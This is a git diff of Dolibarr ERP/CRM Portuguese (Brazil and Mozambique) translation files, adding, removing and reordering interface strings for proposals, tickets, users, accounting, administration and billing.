b1d9e978bf3..192d77ff1a3 100644 --- a/htdocs/langs/pt_BR/propal.lang +++ b/htdocs/langs/pt_BR/propal.lang @@ -56,21 +56,28 @@ TypeContact_propal_internal_SALESREPFOLL=Representante seguindo a proposta TypeContact_propal_external_BILLING=Contato da fatura cliente TypeContact_propal_external_CUSTOMER=Contato cliente seguindo a proposta TypeContact_propal_external_SHIPPING=Contato do cliente para entrega -DocModelAzurDescription=Um modelo de proposta completo (implementação antiga do modelo ciano) -DocModelCyanDescription=Um modelo de proposta completo +CaseFollowedBy=Caso seguido por +ConfirmMassNoSignatureQuestion=Tem certeza que quer marcar todos os registros selecionados como não assinados? +ConfirmMassSignatureQuestion=Tem certeza que quer assinar os registros selecionados? +ConfirmRefusePropal=Tem certeza que quer recusar essa proposta? +ContractSigned=Contrato assinado +DefaultModelPropalClosed=Modelo padrao no fechamento da proposta comercial (nao faturada) DefaultModelPropalCreate=Criaçao modelo padrao DefaultModelPropalToBill=Modelo padrao no fechamento da proposta comercial ( a se faturar) -DefaultModelPropalClosed=Modelo padrao no fechamento da proposta comercial (nao faturada) +DocModelAzurDescription=Um modelo de proposta completo (implementação antiga do modelo ciano) +DocModelCyanDescription=Um modelo de proposta completo +IdProduct=ID do produto +IdProposal=ID da proposta +IsNotADraft=Não é rascunho +LineBuyPriceHT=Comprar com valor do preço líquido de impostos para a linha +NoSigned=marcar não assinado +PassedInOpenStatus=foi validado +PropalRefused=Proposta recusada +PropalSigned=Proposta aceita ProposalCustomerSignature=Aceite por escrito, carimbo da empresa, data e assinatura ProposalsStatisticsSuppliers=Estatísticas de propostas de fornecedores -CaseFollowedBy=Caso seguido por -SignedOnly=Apenas assinado -IdProposal=ID da proposta -IdProduct=ID do produto -LineBuyPriceHT=Comprar com valor do preço líquido de impostos para a linha -SignPropal=Aceitar proposta RefusePropal=Recusar proposta Sign=Assinar -PropalSigned=Proposta aceita -PropalRefused=Proposta recusada -ConfirmRefusePropal=Tem certeza que quer recusar essa proposta? +SignPropal=Aceitar proposta +Signed=assinado +SignedOnly=Apenas assinado diff --git a/htdocs/langs/pt_BR/salaries.lang b/htdocs/langs/pt_BR/salaries.lang index 0ac1be4f306..880835e72d9 100644 --- a/htdocs/langs/pt_BR/salaries.lang +++ b/htdocs/langs/pt_BR/salaries.lang @@ -1,6 +1,4 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Conta contábil usada para terceiros usuários -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=A conta contábil dedicada definida no cartão de usuário será usada somente para a contabilidade da Subconta. Este será usado para Contabilidade Geral e como valor padrão da contabilidade do Contador, se a conta contábil do usuário dedicada no usuário não estiver definida. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Conta da Contabilidade padrão para pagamentos de salário CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Por padrão, deixe em branco a opção "Criar automaticamente um pagamento total" ao criar um Salário NewSalary=Novo salário diff --git a/htdocs/langs/pt_BR/stripe.lang b/htdocs/langs/pt_BR/stripe.lang index 84661452168..6a94248de2b 100644 --- a/htdocs/langs/pt_BR/stripe.lang +++ b/htdocs/langs/pt_BR/stripe.lang @@ -22,7 +22,7 @@ STRIPE_LIVE_SECRET_KEY=Chave ao vivo secreta STRIPE_LIVE_PUBLISHABLE_KEY=Chave editável StripeLiveEnabled=Boleto ativado (caso contrário teste / modo cx) StripeImportPayment=Importação de pagamentos de franquia -ExampleOfTestCreditCard=Exemplo de cartão de crédito para teste: %s => válido, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails StripeAccount=Conta Stripe StripeTransactionList=Lista de transações Stripe LocalID=ID local diff --git a/htdocs/langs/pt_BR/ticket.lang b/htdocs/langs/pt_BR/ticket.lang index df070b1eced..3e3279345a1 100644 --- a/htdocs/langs/pt_BR/ticket.lang +++ b/htdocs/langs/pt_BR/ticket.lang @@ -75,8 +75,6 @@ MarkAsRead=Marcar ingresso como lido TicketHistory=Histórico de bilhetes TicketChangeCategory=Modifica o código analítico TicketChangeSeverity=Alterar gravidade -TicketAddMessage=Adiciona uma mensagem -AddMessage=Adiciona uma mensagem MessageSuccessfullyAdded=Bilhete adicionado NoMsgForThisTicket=Nenhuma mensagem para este bilhete TicketProperties=Classificação @@ -85,8 +83,6 @@ TicketSeverity=Gravidade ShowTicket=Veja o ingresso RelatedTickets=Bilhetes relacionados TicketAddIntervention=Criar Intervenção -CloseTicket=Encerrar|Solucionar -AbandonTicket=Abandonar ticket CloseATicket=Encerrar|Solucionar ConfirmCloseAticket=Confirme o fechamento do ticket ConfirmAbandonTicket=Confirma o encerramento do ticket com o status 'Abandonado' @@ -123,7 +119,6 @@ TicketNewEmailSubject=Confirmação de criação de ticket - Ref %s (ID do ticke TicketNewEmailBody=Este é um e-mail automático para confirmar que você registrou um novo ticket. TicketNewEmailBodyCustomer=Este é um e-mail automático para confirmar que um novo ticket acaba de ser criado na sua conta. TicketNewEmailBodyInfosTrackId=Número de acompanhamento do tíquete : %s -TicketPublicPleaseBeAccuratelyDescribe=Por favor descreva com precisão o problema. Forneça o máximo de informações possíveis para permitir que identifiquemos sua solicitação corretamente. TicketTrackId=ID de acompanhamento público OneOfTicketTrackId=Um de seu ID de acompanhamento ErrorTicketNotFound=Tíquete com número %s não encontrado diff --git a/htdocs/langs/pt_BR/users.lang b/htdocs/langs/pt_BR/users.lang index 4c47e51f0bd..1bbf7404fed 100644 --- a/htdocs/langs/pt_BR/users.lang +++ b/htdocs/langs/pt_BR/users.lang @@ -39,7 +39,6 @@ CreateGroup=Criar grupo PasswordChangedAndSentTo=Senha alterada e enviada a %s. PasswordChangeRequest=Pedido para alterar a senha para %s PasswordChangeRequestSent=Solicitação para alterar a senha para %s enviada a %s. -IfLoginExistPasswordRequestSent=Se este login for uma conta válida, um e-mail para redefinir a senha foi enviado. IfEmailExistPasswordRequestSent=Se este e-mail for uma conta válida, um e-mail para redefinir a senha foi enviado. ConfirmPasswordReset=Confirmar restauração da senha MenuUsersAndGroups=Usuários e Grupos @@ -58,7 +57,6 @@ LinkedToDolibarrUser=Link para o usuário LinkedToDolibarrThirdParty=Link para terceiro CreateDolibarrLogin=Criar uma usuário CreateDolibarrThirdParty=Criar um fornecedor -LoginAccountDisableInDolibarr=A conta está desativada no Dolibarr ExportDataset_user_1=Usuários e suas propriedades DomainUser=Usuário de Domínio CreateInternalUserDesc=Este formulário permite que você crie um usuário interno em sua empresa / organização. Para criar um usuário externo (cliente, fornecedor, etc.), use o botão 'Criar usuário Dolibarr' do cartão de contato de terceiros. @@ -96,6 +94,7 @@ UserAccountancyCode=Código de contabilidade do usuário UserLogoff=Usuário desconetado UserLogged=Usuário Conectado DateOfEmployment=Data de emprego +DateEmploymentStart=Data de Início do Emprego DateEmploymentEnd=Data de término do emprego CantDisableYourself=Você não pode desativar seu próprio registro de usuário ForceUserExpenseValidator=Forçar validação do relatório de despesas @@ -104,3 +103,4 @@ ValidatorIsSupervisorByDefault=Por padrão, a validação é feita pelo supervis UserPersonalEmail=E-mail pessoal UserPersonalMobile=Celular pessoal WarningNotLangOfInterface=Atenção, este é o idioma principal do usuário, não o idioma da interface que ele escolheu ver. Para alterar o idioma da interface visível por este usuário, vá na guia %s +DateLastLogin=Data do último acesso diff --git a/htdocs/langs/pt_BR/withdrawals.lang b/htdocs/langs/pt_BR/withdrawals.lang index cf25c68bb59..0c0ce07e5f7 100644 --- a/htdocs/langs/pt_BR/withdrawals.lang +++ b/htdocs/langs/pt_BR/withdrawals.lang @@ -11,7 +11,6 @@ WithdrawalsLines=Linhas do pedido para Débito direto NotPossibleForThisStatusOfWithdrawReceiptORLine=Ainda não é possível. Retirar o status deve ser definido como 'creditado' antes de declarar rejeitar em linhas específicas. NbOfInvoiceToWithdrawWithInfo=Nº. de fatura do cliente com ordens de pagamento por débito direto com informações definidas sobre a conta bancária InvoiceWaitingWithdraw=Fatura aguardando o Débito direto -NoSupplierInvoiceToWithdraw=Nenhuma fatura de fornecedor com 'Solicitações de crédito diretas' abertas está aguardando. Vá na guia '%s' no cartão da fatura para fazer uma solicitação. ResponsibleUser=Usuário Responsável WithdrawalsSetup=Configuração do pagamento por Débito direto WithdrawStatistics=Estatísticas do pagamento por Débito direto diff --git a/htdocs/langs/pt_MZ/accountancy.lang b/htdocs/langs/pt_MZ/accountancy.lang index b99e895d7c0..56cefc50397 100644 --- a/htdocs/langs/pt_MZ/accountancy.lang +++ b/htdocs/langs/pt_MZ/accountancy.lang @@ -10,7 +10,6 @@ Selectformat=Selecione o formato do arquivo ACCOUNTING_EXPORT_FORMAT=Selecione o formato do arquivo ACCOUNTING_EXPORT_ENDLINE=Selecione o tipo de retorno do frete ACCOUNTING_EXPORT_PREFIX_SPEC=Especifique o prefixo do nome do arquivo -DefaultForService=Padrão para serviço ProductForThisThirdparty=Produto para este terceiro ServiceForThisThirdparty=Serviço para este terceiro CantSuggest=Não posso sugerir @@ -56,7 +55,6 @@ SubledgerAccount=Conta Subledger SubledgerAccountLabel=Rótulo da conta de subconta ShowAccountingAccount=Mostrar conta contábil ShowAccountingJournal=Mostrar contabilidade -AccountAccountingSuggest=Sugerir Conta de Contabilidade MenuBankAccounts=Contas bancárias MenuVatAccounts=Contas de Impostos sobre valor agregado MenuLoanAccounts=Contas de empréstimos @@ -95,30 +93,11 @@ ACCOUNTING_LENGTH_GACCOUNT=Comprimento das contas de contabilidade geral (se o v ACCOUNTING_LENGTH_AACCOUNT=Comprimento das contas de contabilidade de terceiros (se você definir o valor para 6 aqui, a conta "401" aparecerá como '401000' na tela) ACCOUNTING_MANAGE_ZERO=Permitir gerenciar diferentes números de zeros no final de uma conta contábil. Necessário para alguns países (como a Suíça). Se definido como desativado (padrão), você pode definir os dois parâmetros a seguir para solicitar que o aplicativo adicione zeros virtuais. BANK_DISABLE_DIRECT_INPUT=Desabilitar o registro direto da transação na conta bancária -ACCOUNTING_SELL_JOURNAL=Diário de Vendas -ACCOUNTING_PURCHASE_JOURNAL=Diário de Compras -ACCOUNTING_MISCELLANEOUS_JOURNAL=Diário diversos ACCOUNTING_EXPENSEREPORT_JOURNAL=Diário de relatórios de despesas ACCOUNTING_RESULT_PROFIT=Conta de contabilidade de resultado (Lucro) ACCOUNTING_RESULT_LOSS=Conta contábil do resultado (perda) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Jornal de encerramento -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Conta contábil da transferência bancária transitória TransitionalAccount=Conta de transferência bancária transitória -ACCOUNTING_ACCOUNT_SUSPENSE=Conta contábil de espera -DONATION_ACCOUNTINGACCOUNT=Conta contábil para registro de doações. -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Conta contábil para registrar assinaturas -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Conta contábil padrão para produtos comprados (usada se não definida na folha de produtos) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Conta contábil padrão para os produtos comprados na CEE (usada se não definida na planilha de produtos) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Conta contábil padrão para os produtos comprados e importados da CEE (usados ​​se não definidos na folha do produto) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Conta contábil padrão para os produtos vendidos (usado se não estiver definido na folha do produto) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Conta contábil por padrão para os produtos vendidos na EEC (usada se não definida na planilha de produtos) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Conta contábil por padrão para os produtos vendidos e exportados para fora da EEC (usados ​​se não definidos na folha do produto) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Conta contábil padrão para os serviços comprados (se não for definido na listagem de serviços) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Conta contábil padrão para os serviços comprados no EEC (usada se não definida na planilha de serviços) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Conta contábil padrão para os serviços comprados e importados do EEC (usados ​​se não definidos na ficha de serviço) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Conta contábil padrão para os serviços vendidos (se não for definido na listagem de serviços) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Conta contábil por padrão para os serviços vendidos na EEC (usada se não definida na ficha de serviço) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Conta contábil por padrão para os serviços vendidos e exportados para fora do EEC (usados ​​se não definidos na ficha de serviço) LabelAccount=Conta rótulo JournalLabel=Rótulo de jornal TransactionNumShort=Nº da transação @@ -152,12 +131,6 @@ PcgtypeDesc=O grupo de contas é usado como critério predefinido de 'filtro' e Reconcilable=Reconciliável TotalVente=Volume total negociado sem Impostos TotalMarge=Margem de vendas totais -DescVentilCustomer=Consulte aqui a lista linhas de pedidos de clientes vinculadas (ou não) a uma conta contábil de produto -DescVentilMore=Na maioria dos casos, se você usar produtos ou serviços predefinidos e definir o número da conta no cartão de produto / serviço, o aplicativo poderá fazer toda a ligação entre suas linhas de fatura e a conta contábil de seu plano de contas, apenas em um clique com o botão "%s" . Se a conta não foi definida em cartões de produtos / serviços ou se você ainda tiver algumas linhas não vinculadas a uma conta, será necessário fazer uma ligação manual no menu " %s ". -DescVentilDoneCustomer=Consulte aqui a lista com as linhas das faturas dos clientes e a conta da Contabilidade dos seus produtos -DescVentilTodoCustomer=Linhas da fatura ainda não vinculadas à conta da Contabilidade do produto -ChangeAccount=Mudar a conta da Contabilidade do produto/serviço para as linhas selecionadas com a seguinte conta da Contabilidade -DescVentilSupplier=Consulte aqui a lista de linhas de fatura de fornecedor vinculadas ou não vinculadas a uma conta contábil do produto (somente registro ainda não transferido será visível na contabilidade) DescVentilDoneSupplier=Consulte aqui a lista das linhas de faturas de fornecedores e sua conta contábil DescVentilTodoExpenseReport=Relatórios de linhas de despesas de ligação já não estão vinculadas com uma conta contábil com taxa DescVentilExpenseReport=Consulte aqui a lista de relatório de linhas de despesas vinculadas (ou não) a uma conta contábil com taxa @@ -165,9 +138,7 @@ DescVentilExpenseReportMore=Se você configurar uma conta contábil no tipo de l DescVentilDoneExpenseReport=Consulte aqui a lista dos relatórios de linha de despesas e sua conta contábil de taxas DescValidateMovements=Qualquer modificação ou exclusão de escrita, letras e exclusões será proibida. Todas as entradas para um exercício devem ser validadas, caso contrário, o fechamento não será possível ValidateHistory=Vincular Automaticamente -ErrorAccountancyCodeIsAlreadyUse=Erro, você não pode excluir esta conta contábil, pois ela esta em uso GeneralLedgerIsWritten=As transações estão escritas no Razão -ListOfProductsWithoutAccountingAccount=Lista de produtos não vinculados a qualquer conta da Contabilidade ChangeBinding=Alterar a vinculação Accounted=Contas no livro de contas NotYetAccounted=Ainda não transferida para a contabilidade @@ -224,7 +195,6 @@ SaleLocal=Venda local SaleExport=Venda de exportação SaleEEC=Venda na CEE SaleEECWithVAT=A venda na CEE com um IVA não nulo; portanto, supomos que essa NÃO seja uma venda intracomunitária e a conta sugerida é a conta padrão do produto. -SaleEECWithoutVATNumber=Venda na CEE sem IVA, mas o ID do IVA de terceiros não está definido. Recorremos à conta do produto para vendas padrão. Você pode corrigir o ID do IVA de terceiros ou a conta do produto, se necessário. Range=Faixa da conta da Contabilidade ConfirmMassDeleteBookkeepingWriting=Confirmação exclusão em massa SomeMandatoryStepsOfSetupWereNotDone=Algumas etapas obrigatórias de configuração não foram feitas, preencha-as diff --git a/htdocs/langs/pt_MZ/admin.lang b/htdocs/langs/pt_MZ/admin.lang index f499ad97ebf..c3987f623d6 100644 --- a/htdocs/langs/pt_MZ/admin.lang +++ b/htdocs/langs/pt_MZ/admin.lang @@ -1,6 +1,5 @@ # Dolibarr language file - Source file is en_US - admin BoldRefAndPeriodOnPDF=Imprimir referência e período do item em PDF -BoldLabelOnPDF=Imprimir etiqueta do item em negrito, em PDF VersionProgram=Versão Programa VersionLastInstall=Versão de instalação inicial VersionLastUpgrade=Atualização versão mais recente @@ -339,7 +338,6 @@ ExtrafieldCheckBox=Caixas de seleção ExtrafieldCheckBoxFromList=Caixas de seleção da tabela ExtrafieldLink=Link para um objeto ComputedFormula=Campo computado -ComputedFormulaDesc=Você pode inserir aqui uma fórmula usando outras propriedades do objeto ou qualquer código PHP para obter um valor computado dinâmico. Você pode usar qualquer fórmula compatível com PHP, incluindo o "?" operador de condição e objeto global seguinte: $db, $conf, $langs, $mysoc, $user, $object .
      AVISO : Apenas algumas propriedades do $object podem estar disponíveis. Se você precisar de propriedades não carregadas, basta buscar o objeto em sua fórmula, como no segundo exemplo.
      Usar um campo computado significa que você não pode inserir qualquer valor da interface. Além disso, se houver um erro de sintaxe, a fórmula pode retornar nada.

      Exemplo de fórmula:
      $object-> id < 10? round ($object-> id / 2, 2): ($object-> id + 2 * $user-> id) * (int) substr ($mysoc-> zip, 1, 2)

      Exemplo para recarregar o objeto
      (($reloadedobj = novo Societe($db)) && ($reloadedobj-> fetch ($obj-> id? $ obj-> id: ($obj-> rowid? $obj-> rowid: $object-> id )) > 0))? $reloadedobj-> array_options ['options_extrafieldkey'] * $reloadedobj-> capital / 5: '-1'

      Outro exemplo de fórmula para forçar a carga do objeto e seu objeto pai:
      (($reloadedobj = new Task($db)) && ($reloadedobj-> fetch ($object-> id) > 0) && ($secondloadedobj = new Project ($db)) && ($secondloadedobj-> fetch($reloadedobj-> fk_project) > 0)) ? $secondloadedobj-> ref: 'Projeto pai não encontrado' Computedpersistent=Armazenar campo computado ComputedpersistentDesc=Campos extra computados serão armazenados no banco de dados, no entanto, o valor será recalculado somente quando o objeto deste campo for alterado. Se o campo computado depender de outros objetos ou dados globais, esse valor pode estar errado !! ExtrafieldParamHelpselect=Lista de valores deve ser linhas com chave de formato, valor (onde a chave não pode ser '0')

      por exemplo:
      1, value1
      2, value2
      código3, valor3
      ...

      Para que a lista dependa de outra lista de atributos complementares:
      1, valor1 | opções_ pai_list_code : parent_key
      2, valor2 | opções_ pai_list_code : parent_key

      Para ter a lista dependendo de outra lista:
      1, valor1 | parent_list_code : parent_key
      2, value2 | parent_list_code : parent_key @@ -385,7 +383,6 @@ WarningPHPMail=AVISO: A configuração para enviar e-mails do aplicativo está u WarningPHPMailA=- Usar o servidor do provedor de serviços de e-mail aumenta a confiabilidade do seu e-mail, por isso aumenta a entregabilidade sem ser sinalizado como SPAM WarningPHPMailB=- Alguns provedores de serviço de e-mail (como o Yahoo) não permitem que você envie um e-mail de outro servidor que não seja o seu próprio. Sua configuração atual usa o servidor do aplicativo para enviar e-mail e não o servidor de seu provedor de e-mail, portanto, alguns destinatários (aquele compatível com o protocolo DMARC restritivo) perguntarão ao seu provedor de e-mail se podem aceitar seu e-mail e alguns provedores de e-mail (como o Yahoo) pode responder "não" porque o servidor não é deles, então poucos de seus e-mails enviados podem não ser aceitos para entrega (tome cuidado também com a cota de envio de seu provedor de e-mail). WarningPHPMailC=- Usar o servidor SMTP do seu próprio provedor de serviços de e-mail para enviar e-mails também é interessante, portanto, todos os e-mails enviados do aplicativo também serão salvos no diretório "Enviados" da sua caixa de correio. -WarningPHPMailD=Além disso, é recomendável alterar o método de envio de e-mails para o valor "SMTP". Se você realmente deseja manter o método "PHP" padrão para enviar e-mails, ignore este aviso ou remova-o definindo a constante MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP como 1 em Home - Setup - Other. WarningPHPMail2=Se o seu provedor SMTP de e-mail precisar restringir o cliente de e-mail a alguns endereços IP (muito raro), esse é o endereço IP do agente de usuário de e-mail (MUA) para seu aplicativo ERP CRM: %s. WarningPHPMailSPF=Se o nome de domínio em seu endereço de e-mail do remetente estiver protegido por um registro SPF (pergunte ao seu registro de nome de domínio), você deverá adicionar os seguintes IPs no registro SPF do DNS do seu domínio: %s . ClickToShowDescription=Clique para exibir a descrição @@ -482,7 +479,6 @@ Module2400Name=Eventos / Agenda Module2400Desc=Track events. Registre eventos automáticos para fins de rastreamento ou registre eventos manuais ou reuniões. Este é o módulo principal para um bom gerenciamento de relacionamento com clientes ou fornecedores. Module2500Name=SGBD / GCE Module2500Desc=Sistema de Gerenciamento de Documentos / Gerenciamento de Conteúdo Eletrônico. Organização automática de seus documentos gerados ou armazenados. Compartilhe-os quando precisar. -Module2600Name=Serviços API/Web (Servidor SOAP) Module2600Desc=Ativa o servidor de serviços web do Dolibarr Module2610Desc=Permitir que o servidor prestação de serviços de API REST do Dolibarr Module2660Name=Chamar ServiçosWeb (cliente SOAP) @@ -518,7 +514,7 @@ Module62000Name=Termos Internacionais de Comércio Module62000Desc=Adicione recursos para gerenciar Termos Internacionais de Comércio Module63000Name=Resorsas Module63000Desc=Gerenciar recursos (impressoras, carros, salas, ...) para alocar eventos -Permission11=Ler Faturas de Clientes +Module94160Name=Recebimentos Permission12=Criar/Modificar Faturas de Clientes Permission14=Faturas de Clientes Validadas Permission15=Enviar Faturas de Clientes por E-Mail @@ -645,7 +641,7 @@ Permission283=Deletar Contatos Permission286=Exportar Contatos Permission291=Ler Tarifas Permission292=Definir Permissões das Tarifas -Permission301=Criar/modificar códigos de barras +Permission304=Criar/modificar códigos de barras Permission311=Ler Serviços Permission312=Atribuir Serviço no Contrato Permission331=Ler Marcadores de Página @@ -737,7 +733,6 @@ Permission1190=Aprovar pedidos de compra (segunda aprovação) Permission1191=Exportar pedidos de fornecedores e seus atributos Permission1201=Conseguir Resultado de uma Exportação Permission1202=Criar/Modificar uma Exportação -Permission1231=Ler faturas de fornecedores Permission1232=Criar/modificar faturas de fornecedores Permission1234=Excluir faturas de fornecedores Permission1235=Enviar faturas de fornecedores por e-mail @@ -767,11 +762,9 @@ Permission3301=Gerar novos módulos Permission4001=Ler habilidade/trabalho/posição Permission4002=Criar/modificar habilidade/trabalho/posição Permission4003=Excluir habilidade/trabalho/posição -Permission4020=Ler avaliações -Permission4021=Crie/modifique sua avaliação -Permission4022=Validar avaliação -Permission4023=Excluir avaliação -Permission4030=Ver menu de comparação +Permission4023=Validar avaliação +Permission4025=Excluir avaliação +Permission4028=Ver menu de comparação Permission4031=Ler informações pessoais Permission4032=Escreva informações pessoais Permission10001=Leia o conteúdo do site @@ -957,10 +950,8 @@ SetupDescription4= %s -> %s

      Este software é um conj SetupDescription5=Outras entradas do menu de configuração gerenciam parâmetros opcionais. SetupDescriptionLink= %s - %s SetupDescription3b=Parâmetros básicos usados para personalizar o comportamento padrão do seu aplicativo (por exemplo, para recursos relacionados ao país). -SetupDescription4b=Este software é um conjunto de muitos módulos/aplicativos. Os módulos relacionados às suas necessidades devem estar habilitados e configurados. As entradas do menu aparecerão com a ativação desses módulos. AuditedSecurityEvents=Eventos de segurança que são auditados NoSecurityEventsAreAduited=Nenhum evento de segurança é auditado. Você pode habilitá-los no menu %s -Audit=Eventos de segurança InfoOS=Sobre o SO InfoDatabase=Sobre o banco de dados InfoPerf=Sobre Desempenhos @@ -1013,6 +1004,7 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Você deve rodar esse comando n YourPHPDoesNotHaveSSLSupport=Função SSL functions não está disponível no seu PHP DownloadMoreSkins=Mais skins para baixar SimpleNumRefModelDesc=Retorna o número de referência no formato %s yymm-nnnn onde yy é o ano, mm é o mês e nnnn é um número de incremento automático sequencial sem redefinição +AdvancedNumRefModelDesc=Retorna o número de referência no formato %s yymm-nnnn onde yy é o ano, mm é o mês e nnnn é um número de incremento automático sequencial sem redefinição SimpleNumRefNoDateModelDesc=Retorna o número de referência no formato %s-nnnn onde nnnn é um número sequencial de incremento automático sem reinicialização ShowProfIdInAddress=Mostrar ID profissional com endereços ShowVATIntaInAddress=Ocultar número de IVA intracomunitário @@ -1074,7 +1066,6 @@ AddEmailPhoneTownInContactList=Exibir e-mail de contato (ou telefones, se não d FillThisOnlyIfRequired=Exemplo: +2 (Preencha somente se compensar o problema do timezone é experiente) NumberingModules=Modelos de numeração DocumentModules=Modelos de documentos -PasswordGenerationStandard=Retornar uma senha gerada de acordo com o algoritmo Dolibarr interno: %s caracteres contendo números compartilhados e caracteres em minúsculos. PasswordGenerationPerso=Retornar uma senha de acordo com a configuração definida para a sua personalidade. PasswordPatternDesc=Descrição do padrão de senha UsersSetup=Configurações de módulo de usuários @@ -1148,7 +1139,6 @@ AdherentLoginRequired=Gestor de login para cada membro AdherentMailRequired=O e-mail necessário para criar um novo membro MemberSendInformationByMailByDefault=Marque o checkbox para enviar confirmação de correspondência para membros (validação ou nova contribuição) é ativo por default MemberCreateAnExternalUserForSubscriptionValidated=Criar um login de usuário externo para cada inscrição de membro validada. -VisitorCanChooseItsPaymentMode=O visitante pode escolher entre os modos de pagamento disponíveis MEMBER_REMINDER_EMAIL=Ativar lembrete automático por e-mail de assinaturas expiradas. Nota: O módulo %s deve estar ativado e configurado corretamente para enviar lembretes. MembersDocModules=Modelos de documentos para documentos gerados a partir de registro de membro LDAPSetup=Configurações do LDAP @@ -1329,8 +1319,6 @@ ActivateFCKeditor=Editor avançado ativo por: FCKeditorForNotePublic=Usar editor WYSIWIG nos campos de "notas públicas" dos elementos FCKeditorForNotePrivate=Usar editor WYSIWIG nos campos de "notas privadas" dos elementos FCKeditorForCompany=Usar editor WYSIWIG nos campos de descrição dos elementos (exceto produtos/serviços) -FCKeditorForProduct=Usar editor WYSIWIG nos campos de descrição de produtos/serviços -FCKeditorForProductDetails=Criação / edição WYSIWIG de linhas de detalhes de produtos para todas as entidades (propostas, encomendas, facturas, etc ...). Aviso: O uso desta opção neste caso não é recomendado, pois pode criar problemas com caracteres especiais e formatação de página ao construir arquivos PDF. FCKeditorForMailing=Criação/edição do WYSIWIG nos E-Mails massivos (ferramentas->emailing) FCKeditorForUserSignature=criação/edição do WYSIWIG nas assinaturas de usuários FCKeditorForMail=Criação/Edição WYSIWIG para todos os e-mails (exceto Ferramentas->eMailing) @@ -1345,7 +1333,6 @@ DetailId=Menu ID DetailMenuHandler=Gestor de menu onde mostra novo menu DetailMenuModule=Nome do módulo se a entrada do menu vier de um módulo DetailType=Tipo do menu (superior o esquerdo) -DetailUrl=URL onde o menu envia para você (URL absoluta ou link externo com http://) DetailEnabled=Condição para mostra ou não entrar DetailRight=Condição para mostrar menus não autorizados em cinza DetailLangs=Nomes de arquivos lang para código de etiqueta da tradução @@ -1391,7 +1378,6 @@ CashDeskIdWareHouse=Depósito para usar nas vendas StockDecreaseForPointOfSaleDisabledbyBatch=A redução de estoque no PDV não é compatível com o gerenciamento de série / lote do módulo (atualmente ativo), portanto, a redução de estoque é desativada. CashDeskForceDecreaseStockLabel=A redução do estoque de produtos em lote foi forçada. CashDeskForceDecreaseStockDesc=Diminuir primeiro pelo mais antigo e vender por datas. -CashDeskReaderKeyCodeForEnter=Código da chave para "Enter" definido no leitor de código de barras (Exemplo: 13) BookmarkSetup=Configurações do módulo de marcadores NbOfBoomarkToShow=Número máximo de marcadores para mostrar no menu esquerdo WebServicesSetup=Configurações do módulo de serviço de web @@ -1419,7 +1405,6 @@ SuppliersCommandModelMuscadet=Modelo completo do pedido (antiga implementação SuppliersInvoiceModel=Modelo completo da fatura do fornecedor IfSetToYesDontForgetPermission=Se definido como um valor não nulo, não se esqueça de fornecer permissões a grupos ou usuários com permissão para a segunda aprovação GeoIPMaxmindSetup=Configurações do módulo GeoIP Maxmind -PathToGeoIPMaxmindCountryDataFile=Caminho para o arquivo contendo Maxmind ip para tradução do país.
      Exemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb NoteOnPathLocation=Nota que seu ip para o arquivo de dados do país deve estar dentro do diretório do seu PHP que possa ser lido (Verifique a configuração do seu PHP open_basedir e o sistema de permissões). YouCanDownloadFreeDatFileTo=Você pode baixar uma Versão demo do arquivo Maxmind GeoIP do seu país no %s. YouCanDownloadAdvancedDatFileTo=Você também pode baixar uma versão mais completa, com updates do arquivo Maxmind GeoIP do seu país no %s. @@ -1666,12 +1651,10 @@ MailToPartnership=Parceria AGENDA_EVENT_DEFAULT_STATUS=Status de evento padrão ao criar um evento a partir do formulário YouShouldDisablePHPFunctions=Você deve desabilitar funções PHP IfCLINotRequiredYouShouldDisablePHPFunctions=A não ser que você precise executar comandos do sistema via personalizações, você deve desativar as funções do PHP -PHPFunctionsRequiredForCLI=Para efeito de linha de comando (como tarefas agendadas para backup ou executar antivirus), você deve manter as funções PHP NoWritableFilesFoundIntoRootDir=Nenhum arquivo gravável ou diretório de programas comuns foi encontrado em seu diretório raiz (bom) RecommendedValueIs=Recomendado: %s Recommended=Versão Recomendada NotRecommended=Não recomendado -ARestrictedPath=Algum caminho restrito CheckForModuleUpdate=Verificar se há atualizações para módulos externos CheckForModuleUpdateHelp=Esta ação se conectará a editores de módulos externos para verificar se uma nova versão está disponível. ModuleUpdateAvailable=Uma atualização está disponível @@ -1716,5 +1699,4 @@ LateWarningAfter=Aviso "atrasado" após TemplateforBusinessCards=Modelo para um cartão de visita em tamanho diferente InventorySetup=Configuração de inventário ExportUseLowMemoryMode=Use um modo de pouca memória -ExportUseLowMemoryModeHelp=Use o modo de memória baixa para executar o exec do dump (a compactação é feita através de um pipe em vez de na memória PHP). Este método não permite verificar se o arquivo está completo e a mensagem de erro não pode ser relatada se falhar. Settings =Configurações diff --git a/htdocs/langs/pt_MZ/bills.lang b/htdocs/langs/pt_MZ/bills.lang index 9fc6a662566..8750bdbd6d9 100644 --- a/htdocs/langs/pt_MZ/bills.lang +++ b/htdocs/langs/pt_MZ/bills.lang @@ -89,7 +89,6 @@ DoPaymentBack=Insira o reembolso EnterPaymentReceivedFromCustomer=Entrar pagamento recebido de cliente 